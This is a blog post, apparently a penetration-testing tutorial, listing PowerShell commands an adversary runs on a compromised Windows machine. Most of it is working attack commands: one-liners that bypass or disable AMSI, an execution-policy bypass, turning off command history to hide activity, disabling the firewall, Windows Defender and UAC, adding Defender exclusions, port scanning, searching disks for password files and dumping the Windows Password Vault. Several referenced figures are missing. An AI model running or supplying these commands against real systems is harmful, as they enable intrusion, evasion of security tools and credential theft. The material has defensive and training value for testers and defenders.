PowerShell For Offensive Operations


Powershell is a great tool for automation in the Windows environment. It is specifically designed to interact with the Windows operating system, which means, it will be much more efficient than in automation than general programming languages. There are two editions of PowerShell available today:


  • Windows PowerShell (up to v5.1, proprietary; PowerShell) -  based on .NET Framework, which is Microsoft's proprietary framework that Windows is built on. Windows PowerShell is based on .NET Framework, which is Microsoft's proprietary framework that Windows is built on. PowerShell began at 1.0 and was considered feature-complete at 5.1. Microsoft has stopped developing Windows PowerShell; going forward, it will only receive bug fixes. 
  • PowerShell Core (6.0+, open source; pwsh) - In June 2016, Microsoft released a collaboratively refactored, more modern, and efficient .NET. The .NET Core was officially born. While .NET Framework continues to rule the Windows arena, .NET Core, which is open source and cross-platform, has picked up great momentum and grows every day. .NET Core seems to be the way forward. PowerShell Core is based on .NET Core, and therefore is open source, with the same vision as .NET Core: to be cross-platform.


From a Hacker's viewpoint, Powershell offers a great utility for interacting with targeted Windows machines. The hacker can be confident that any target compromised will have Powershell installed. As a result, further intrusive activities can be done living off the land. In this post, I will explore Powershell commands that can be used by adversaries in enumerating and further exploiting a compromised system.


For Windows clients running PowerShell 5.1 and above, the default execution policy is set to Restricted, which blocks all scripts from running unless they are signed with a trusted certificate. If the target system runs the open source version of PowerShell or version 5.1 on Windows Server, then the default script execution policy is RemoteSigned. To bypass the restrictions set by these policies, the adversary will run the following command on the compromised system.


powershell -ep bypass


Powershell automatically logs up to 4096 commands by default, storing them in a history file at the following location. This is akin to the _bash.history file in Linux.


C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt


To disable the PowerShell command functionality in the current shell session, the adversary will enter the following command. This can be useful in minimizing his footprint on the system


Set-PSReadlineOption –HistorySaveStyle SaveNothing


The Windows AntiMalware Scan Interface (AMSI) is a vendor agnostic security feature in the Windows operating system that allows applications and services to integrate with security products installed on a computer. It provides a standard interface that allows solutions to scan files, memory, and other data for threats. This can safeguard workstations and applications from a wide range of attacks, including malicious scripts and malware, that can be used to compromise a system. To check if AMSI is working properly on the compromised system, the following command will be entered.





The adversary will want to bypass this feature as it will get in the way of exploitation tools like Mimikatz, Jaws, and so on. The following script will bypass AMSI in even Windows 11 endpoints. This is based on the work of Gustav Shen.


$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)




Alternatively, the adversary may elect to deactivate the AMSI on the compromised endpoint by entering the following command.


$a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils'-f $b,$a)); $z=$Ref.GetField(('am{0}InitFailed'-f$a),'NonPublic,Static');$z.SetValue($null,$true)


The adversary will want to determine the privileges he has on the compromised system, the following command will determine this.


If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Write-Host "True"; } else { Write-Host "False"; }


The result of the above command on a Standard user is given in the figure below.




The result for a user with Administrator privileges is given below.



Local User and Group Enumeration

The following commands display the username of the currently logged-on user.


Get-ChildItem env:Username
(Get-ChildItem env:Username).value
$env:username #using the $env powershell variable
#using the .NET environment class
[System.Environment]::username
[System.Environment]::GetEnvironmentVariable('username')
#Using WMI and CIM
(Get-WMIObject -class Win32_computersystem).username
(Get-CimInstance -class Win32_computersystem).username
((Get-WMIObject -class Win32_computersystem).username).split("\")[1] #To print the username without the domain part
#Using .NET WindowsIdentity class
[Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name


The following command will return the SID value of the current user.


([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value


To obtain verbose information on the list of all the users on the compromised system, the following commands can be entered.


Get-LocalUser | select *


The above command will also display a list of login requirements. These are observable information for conducting a brute-force attack. The adversary might be interested in only a few key information about the users, the above command can therefore be re-written this way with a focus on the objects of interest.





Another technique that can give insight into the list of users in the compromised system is to conduct a directory listing of the <%SYSTEMROOT%>\Users directory as shown below.


Get-ChildItem C:\Users | Select-Object Name


When a user of interest has been identified by the adversary, specific information can be obtained by running the following command.




To obtain a list of all the local groups on the compromised system, the following command should be entered.


Get-LocalGroup | Select-Object -ExpandProperty Name #displays a list of all groups
Get-LocalGroup | Select-Object * #Outputs verbose information


To obtain information about a particular group of interest (for example Administrators), the following command will be entered.




In a victim domain-joined PC, the adversary can enter any of the following commands to obtain information about the Active Directory Domain Controller (Replace dfirnoob.com in the figure below with your appropriate domain name).




Network Enumeration

To obtain information about network interfaces, IP Addresses, and DNS in the compromised system, the following commands will be entered in addition to ipconfig/all.



In a domain-joined PC, the DNS server IP Address will be the IP address  of the domain controller, the adversary might want to inquire for additional information about the IP address by running commands such as nslookup <IP address>, dig <IP address>, traceroute <IP address>, tracert <IP address> (Windows equivalent of traceroute), pathping <IP address>, and so on.


From the output of the above command, the adversary can perform a quick reverse DNS lookup on a subnet of the network to see if there are any resolvable (potentially alive) hosts. Performing a reverse DNS lookup on the 192.168.0.0/24 but concentrating on 192.168.0.130 - 140 network ranges because of the brevity of output can be done as follows:


$net = "192.168.0."
130..140 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee-object hostname.txt


The output is shown in the figure below.




Having obtained the IP address of the Domain controller from the previous commands executed, the adversary may want to scan it for open ports. With an emphasis on some interesting port numbers, this scan is conducted using the PowerShell TCPClient as follows:


$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "192.168.0.131"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null 


The output of the above command is shown in the figure below:




The adversary could also elect to port scan a network or subnet for a particular. For example, if he wishes to discover hosts on which the WinRM service is enabled he will scan the network for port 5985 as seen in the command below.



$port = 5985
$net = "192.168.0."
130..140 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null



To obtain information about the network routing table, the following command will be entered.


Get-NetRoute -AddressFamily IPv4 | format-table DestinationPrefix,NextHop,RouteMetric,ifIndex


The following command will display the ARP table.


Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State


The following PowerShell cmdlets list the currently active connections in the system. It is akin to running the netstat utility.


Get-NetTCPConnection #displays TCP connections
Get-NetUDPEndpoint #displays UDP connections


To display external (internet) connections only, the following command should be entered.




The list of open (listening) ports on the target computer can be displayed by entering the following command.




By the Process ID, the list of the related Windows services that are using the network can be obtained as follows. This can be useful for the System Administrator and Incident Responders.




To obtain the Firewall state in the compromised endpoint, the Get-NetFirewallProfile cmdlet is used as shown below.




To obtain a list of ports blocked by the firewall, the following command should be entered.


$f = New-Object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq 0} | select name, applicationname, localports


To disable the Firewall on the compromised endpoint, the following command is entered. This, however, can only be done with Administrator privileges.


Set-NetFireWallProfile -Enabled False 


Antivirus Enumeration and Detection

To obtain a list of all antivirus applications in the compromised endpoint, the following command should be entered.




To obtain the status of the anti-malware status on the compromised endpoint, the adversary enters the following command.




If tamper protection is enabled in the compromised endpoint, it will not be possible to turn off Windows Defender via Powershell. If it is not enabled, however, the following command will turn off Windows Defender in the compromised endpoint.


Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealTimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend


And NO, attempting to disable tamper protection by modifying its registry key value from 5 to 0 is not allowed. Not even with SYSTEM privileges.



However, the adversary can still create an exclusion. The first step in doing this is to disable UAC before proceeding to create the exclusion as follows.


#Disable UAC
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\" -Name EnableLUA -Value 0 -Type DWORD

#Create Exclusion
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealTimeMonitoring $true -DisableScriptScanning $true -DisableRealTimeMonitoring $true -DisableBlockAtFirstSeen $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend; Add-MpPreference -ExclusionPath "C:\Windows\Temp"


This website has a copy & paste script to turn off most of Windows Defenders features.


Hunting Passwords

The PowerShell commands described in this section can be handy for locating files on disk that may contain credentials, configuration details, and other sensitive information.


To locate files containing a certain pattern (such as password) in various disk-wide configuration files, the adversary can enter a command such as shown below. It is recommended to repeat same for every disk drive in the system.


Get-ChildItem C:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"




To find remnants from automated installation and auto-configuration, which could potentially contain plaintext passwords or base64 encoded passwords, the following command will be helpful.


Get-ChildItem C:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -ErrorAction SilentlyContinue




Passwords typically found here are local administrator passwords. Viewing the content of the XML file located in the FLARE VM folder reveals the following.




To hunt potentially sensitive files such as account information, personally identifiable information, configuration files, and other interesting credentials in the compromised system, the following command can be entered.


Get-ChildItem c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -ErrorAction SilentlyContinue



Database connection strings (with plaintext credentials) stored in various configuration files in the system can be hunted with the following Powershell command.


Get-ChildItem c:\ -Include *.config,*.conf,*.xml -File -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "connectionString"


Web server configuration files can also be hunted on the compromised endpoint with the following command. These files may contain plain text passwords or other interesting information that could allow access to other resources such as databases, administrative interfaces, and so on.


Get-ChildItem c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue


Windows has a built-in mechanism for storing passwords and web credentials and other applications called the Password Vault. These secrets are stored in the following locations:


  • C:\Users\<USERNAME>\AppData\Local\Microsoft\Vaultli>
  • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
  • C:\ProgramData\Microsoft\Vault\


These secrets can be extracted using the following Powershell command.


[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }


You may come across PowerShell modules and scripts such as Active Directory, PowerView, PowerUp, Mimikatz, and Kekeo, all of which pentesters use. I encourage you to learn them independently.


With great power comes great responsibility, and responsibilities as great as proper use of PowerShell fall on the system administrator in charge of maintaining a computer network. However, hackers have also used PowerShell to infiltrate computer systems. Therefore any competent penetration tester must master PowerShell.


Post a Comment

Previous Post Next Post